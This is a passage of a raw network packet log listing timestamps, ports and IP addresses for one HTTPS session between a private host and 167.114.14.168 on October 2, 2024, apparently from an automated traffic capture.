Oct 2, 2024 06:10:24.623920918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.623945951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.627190113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.627221107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.627254963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.627262115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.627285004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.627296925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.635730028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.635746956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.635824919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.635833025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.635885954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.636342049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.636356115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.636416912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.636424065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.636470079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.698554993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.698573112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.698649883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.698664904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.698811054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.699819088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.699851036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.699891090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.699898005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.699920893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.699944973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.701085091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.701100111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.701148987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.701155901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.701195955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.711952925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.711967945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.712033033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.712040901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.712095022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.712342978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.712357998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.712409973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.712415934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.712470055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.715964079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.715977907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.716027975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.716036081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.716073990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.724343061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.724356890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.724396944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.724402905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.724426985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.724448919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.724989891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.725006104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.725040913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.725047112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.725071907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.725085974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.787241936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.787259102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.787369013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.787380934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.787430048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.788269043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.788285017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.788346052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.788353920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.788405895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.789596081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.789613962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.789664030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.789670944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.789710999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.800671101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.800693989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.800734997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.800741911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.800767899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.800786018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.801178932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.801194906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.801235914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.801243067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.801269054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.801281929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.804783106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.804800034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.804851055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.804857969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.804877043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.804898024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.812796116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.812810898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.812891006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.812900066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.813669920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.813699961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.813741922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.813750029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.813761950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.815443039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.875848055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.875869036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.875953913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.875967979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.876944065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.876964092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.877007961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.877013922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.877029896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.878082037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.878096104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.878120899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.878129005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.878145933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.878169060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.889254093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.889271975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.889323950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.889331102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.889342070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.889372110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.889503002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.889525890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.889565945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.889573097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.889597893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.889612913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.893527031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.893543005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.893599033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.893605947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.895575047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.901478052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.901501894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.901559114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.901566029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.901596069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.901619911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.902081013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.902095079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.902149916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.902157068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.903573036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.969274044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.969290018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.969362974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.969371080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.969527960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.969551086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.969599009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.969604969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.969623089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.969656944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.970067978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.970082045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.970141888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.970149040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.971405983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.977746964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.977791071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.977879047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.977885962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.977905035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.977929115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.978180885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.978198051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.978254080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.978260994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.978293896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.978301048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.982161999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.982180119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.982228994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.982235909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.982261896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.982285976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.990087986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.990103960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.990154982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.990163088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.990300894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.990969896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.991003036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.991031885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.991039038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.991063118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.991082907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.057777882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.057795048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.057933092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.057951927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.058223963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.058248043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.058289051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.058296919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.058319092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.058350086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.058725119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.058739901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.058804035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.058813095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.059570074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.066267014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.066282034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.066355944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.066364050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.066435099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.066682100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.066696882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.066746950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.066754103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.067559958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.070703983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.070719957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.070765018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.070772886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.070812941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.070830107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.078521013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.078536034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.078598976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.078605890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.079574108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.079698086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.079713106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.079772949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.079780102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.083561897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.146295071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.146313906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.146411896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.146440029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.146727085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.146747112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.146792889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.146801949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.146815062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.146852970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.147254944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.147269964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.147320032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.147326946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.147339106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.147365093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.154937029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.154953003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.154999018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.155008078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.155033112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.155046940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.155441046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.155462027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.155504942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.155512094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.155541897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.155561924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.159339905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.159354925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.159442902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.159451008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.159492016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.167081118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.167103052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.167175055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.167186022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.167573929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.168225050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.168240070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.168294907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.168303013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.171597958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.234890938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.234910011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235019922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.235049963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235395908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235419035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235476971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.235485077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235563993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.235897064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235910892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.235966921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.235975027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.239572048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.244018078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.244031906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.244106054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.244113922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.244471073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.244488955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.244533062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.244540930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.244563103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.244591951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.247911930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.247925997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.247986078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.247992992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.251571894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.255965948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.255980968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.256031990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.256037951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.256064892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.256088018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.256603003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.256617069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.256666899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.256674051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.257602930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.329411030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.329436064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.329478025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.329492092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.329507113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.329536915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.329818964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.329832077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.329881907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.329890013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.330354929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.330389023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.330410957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.330419064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.330431938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.330460072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.333450079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.333462954 CEST	443	49715	167.114.14.168	192.168.2.5
